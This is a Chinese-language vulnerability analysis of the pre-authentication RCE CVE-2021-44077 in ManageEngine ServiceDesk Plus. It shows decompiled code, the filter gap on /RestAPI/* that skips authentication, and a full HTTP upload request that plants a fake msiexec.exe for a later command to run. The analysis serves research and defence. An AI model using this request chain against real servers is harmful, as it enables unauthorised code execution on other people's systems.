Zoho ManageEngine ServiceDesk Plus (CVE-2021-44077) 漏洞分析 - nice_0e3

Zoho ManageEngine ServiceDesk Plus (CVE-2021-44077) 漏洞分析

碎碎念

“思绪慢慢下沉”

漏洞分析

命令执行

该项目用的是struts2架构的，先来看web.xml文件配置

<servlet>
		<servlet-name>action</servlet-name>
		<servlet-class>
			org.apache.struts.action.ActionServlet
		</servlet-class>
		<init-param>
			<param-name>config</param-name>
			<!-- cwf start -->
			<param-value>/WEB-INF/struts-config.xml,/WEB-INF/change-struts-config.xml</param-value>
			<!-- cwf end -->
		</init-param>
		<init-param>
			<param-name>chainConfig</param-name>
			<param-value>org/apache/struts/tiles/chain-config.xml</param-value>
		</init-param>
<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>/RestAPI/*</url-pattern>
	</servlet-mapping>

	<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>*.json</url-pattern>
	</servlet-mapping>

	<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>*.do</url-pattern>
	</servlet-mapping>

web.xml里加载struts-config.xml

com.manageengine.s247.actions.S247Action#s247AgentInstallationProcess

public ActionForward s247AgentInstallationProcess(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
        String apikey = request.getParameter("apikey");

        try {
            S247Util.s247message = "s247.msg.acc.finished";
            S247Util.installAgentProgress(apikey);
        } catch (Throwable var7) {
            logger.log(Level.SEVERE, "Exception occured while perform s247AgentInstallationProcess :: " + var7.getMessage());
            var7.printStackTrace();
        }

        String forwardurl = "/setup/s247-result.jsp?successmsg=s247.acc.complete&fromAction=true&processFinished=true&closeTab=true";
        logger.log(Level.INFO, "Forward Url :: " + forwardurl);
        return new ActionForward(forwardurl);
    }

获取apikey参数，调用S247Util.installAgentProgress(apikey);

public static void installAgentProgress(String customerAPIKey) throws Exception {
        final String workingDir = currentDir + File.separator + ".." + File.separator + "site24x7";

        try {
            List<String> cmdargs = new LinkedList();
            cmdargs.add("msiexec.exe");
            cmdargs.add("/i");
            cmdargs.add(installfile);
            cmdargs.add("EDITA1=" + customerAPIKey);
            cmdargs.add("/qn");
            final String[] command = (String[])cmdargs.toArray(new String[cmdargs.size()]);
            Thread installAgent = new Thread() {
                public void run() {
                    try {
                        ProcessBuilder pb = new ProcessBuilder(command);
                        pb.directory(new File(workingDir));
                        Process p = pb.start();
                        int exitstatus = p.waitFor();
                        BufferedReader br = new BufferedReader(new InputStreamReader(p.getErrorStream()));
                        String line = null;
                        StringBuilder content = new StringBuilder();

                        while((line = br.readLine()) != null) {
                            content.append(line);
                        }

                        S247Util.logger.log(Level.INFO, "Installation of Site24x7WindowsAgent :: Exit status :: " + exitstatus + " result :: " + content);
                        p.destroy();
                    } catch (Throwable var7) {
                        S247Util.logger.log(Level.SEVERE, "Exception occured while installing Site24x7WindowsAgent :: " + var7.getMessage());
                        var7.printStackTrace();
                    }

                }
            };

调用ProcessBuilder
执行msiexec.exe

但上面这个接口需要鉴权

权限绕过

回看web.xml

<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>/RestAPI/*</url-pattern>
	</servlet-mapping>

	<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>*.json</url-pattern>
	</servlet-mapping>

	<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>*.do</url-pattern>
	</servlet-mapping>

配置action的路由请求方式有三种，鉴权在SdpSecurityFilter
中

<filter>
        <filter-name>SdpSecurityFilter</filter-name>
        <filter-class>com.manageengine.servicedesk.filter.SdpSecurityFilter</filter-class>
        <init-param>
                <param-name>development.mode</param-name>
              <param-value>false</param-value>
        </init-param>
        <init-param>
            <param-name>config-file</param-name>
            <param-value>../../../conf/security-defaultresponseheaders.xml,../../../conf/security-common.xml,../../../conf/security-properties.xml,security/common_params_conf,security,security/v3api,security/dynamic_urls_conf</param-value>
        </init-param>
        </filter>
<filter-mapping>
        <filter-name>SdpSecurityFilter</filter-name>
<!-- SD-91305 -->
         <url-pattern>*.js</url-pattern>
         <url-pattern>*.html</url-pattern>
         <url-pattern>*.css</url-pattern>
         <url-pattern>*.jpg</url-pattern>
         <url-pattern>*.jpeg</url-pattern>
         <url-pattern>*.png</url-pattern>
         <url-pattern>*.JPG</url-pattern>
         <url-pattern>*.ttf</url-pattern>
         <url-pattern>*.eot</url-pattern>
         <url-pattern>*.svg</url-pattern>
         <url-pattern>*.woff</url-pattern>
         <url-pattern>*.txt</url-pattern>
         <url-pattern>*.gif</url-pattern>
         <url-pattern>*.ico</url-pattern>

        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.do</url-pattern>
        <url-pattern>*.cc</url-pattern>
        <url-pattern>*.swf</url-pattern>
        <url-pattern>*.up</url-pattern>
        <url-pattern>*.ls</url-pattern>
        <url-pattern>/servlets/*</url-pattern>
        <url-pattern>/servlet/*</url-pattern>
        <url-pattern>/discoveryServlet/*</url-pattern>
        <url-pattern>/AgentTaskDetails</url-pattern>
        <url-pattern>/webremote/</url-pattern>
        <url-pattern>/sdpapi/*</url-pattern>
        <url-pattern>/sdpapiv2/*</url-pattern>
        <url-pattern>/api/*</url-pattern>
	<url-pattern>/DcServlet/*</url-pattern>
		<url-pattern>/aplusinteg</url-pattern>
         <!-- SD-71558 issue fix -->
        <url-pattern>*.json</url-pattern>
        <url-pattern>/importssl/*</url-pattern>
        <!-- issue : SDOrgAdmin role not removed when accessing Admin tab -->
        <url-pattern>/app</url-pattern>
        <url-pattern>/ui/*</url-pattern>
        <url-pattern>/RestAPI/WC/TwoFactorAction</url-pattern>
		<url-pattern>/RestAPI/TwoFactorAction</url-pattern>
	<!-- SD-85770 -->
        <url-pattern>/images/favicon.ico</url-pattern>
		<!--MicrosoftTeams integration -->
        <url-pattern>/AppIntegrations</url-pattern>
		<url-pattern>/Error</url-pattern>
		<dispatcher>REQUEST</dispatcher>
	   <dispatcher>ERROR</dispatcher>

		<url-pattern>/ntlmv2</url-pattern>
		<url-pattern>/domainServlet/AJaxDomainServlet</url-pattern>
		<url-pattern>/overview/controller</url-pattern>
		<url-pattern>/event/controller</url-pattern>
    </filter-mapping>

在该SdpSecurityFilter
,在SdpSecurityFilter
没有配置RestAPI/*
的路由方式

文件上传

com.adventnet.servicedesk.setup.action.ImportTechniciansAction

获取theFile内容写入到当前路径下，即C:\Program Files\ManageEngine\ServiceDesk\bin
目录下

POST /RestAPI/ImportTechnicians HTTP/1.1
Host: 192.168.137.242:8080
Content-Length: 281
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBcwSPhzFlHZQPEo
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Cookie: SDPSESSIONID=E87946125311B73029382B0E1B2D962B; JSESSIONIDSSO=34C6BDB5EE7474D21E8C9BDDC0F66F68; PORTALID=1; sdpcsrfcookie=2781f8624e1c7121a1720da50a37923044ac046631b4d03d922ee4d2671e9387c8b04641dd3ea42bbc128a67fba01e393d017a24e7b1a9b9f1b78d9c35b3d1f9; _zcsr_tmp=2781f8624e1c7121a1720da50a37923044ac046631b4d03d922ee4d2671e9387c8b04641dd3ea42bbc128a67fba01e393d017a24e7b1a9b9f1b78d9c35b3d1f9
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="theFile"; filename="msiexec.exe"
Content-Type: image/jpeg

1
------WebKitFormBoundaryRBcwSPhzFlHZQPEo
Content-Disposition: form-data; name="step"; 

1
------WebKitFormBoundaryRBcwSPhzFlHZQPEo--

与前面执行msiexec.exe的漏洞和权限绕过漏洞结合起来达到RCE

参考

https://y4er.com/posts/cve-2021-44077-zoho-manageengine-servicedesk-plus-pre-auth-rce/#环境搭建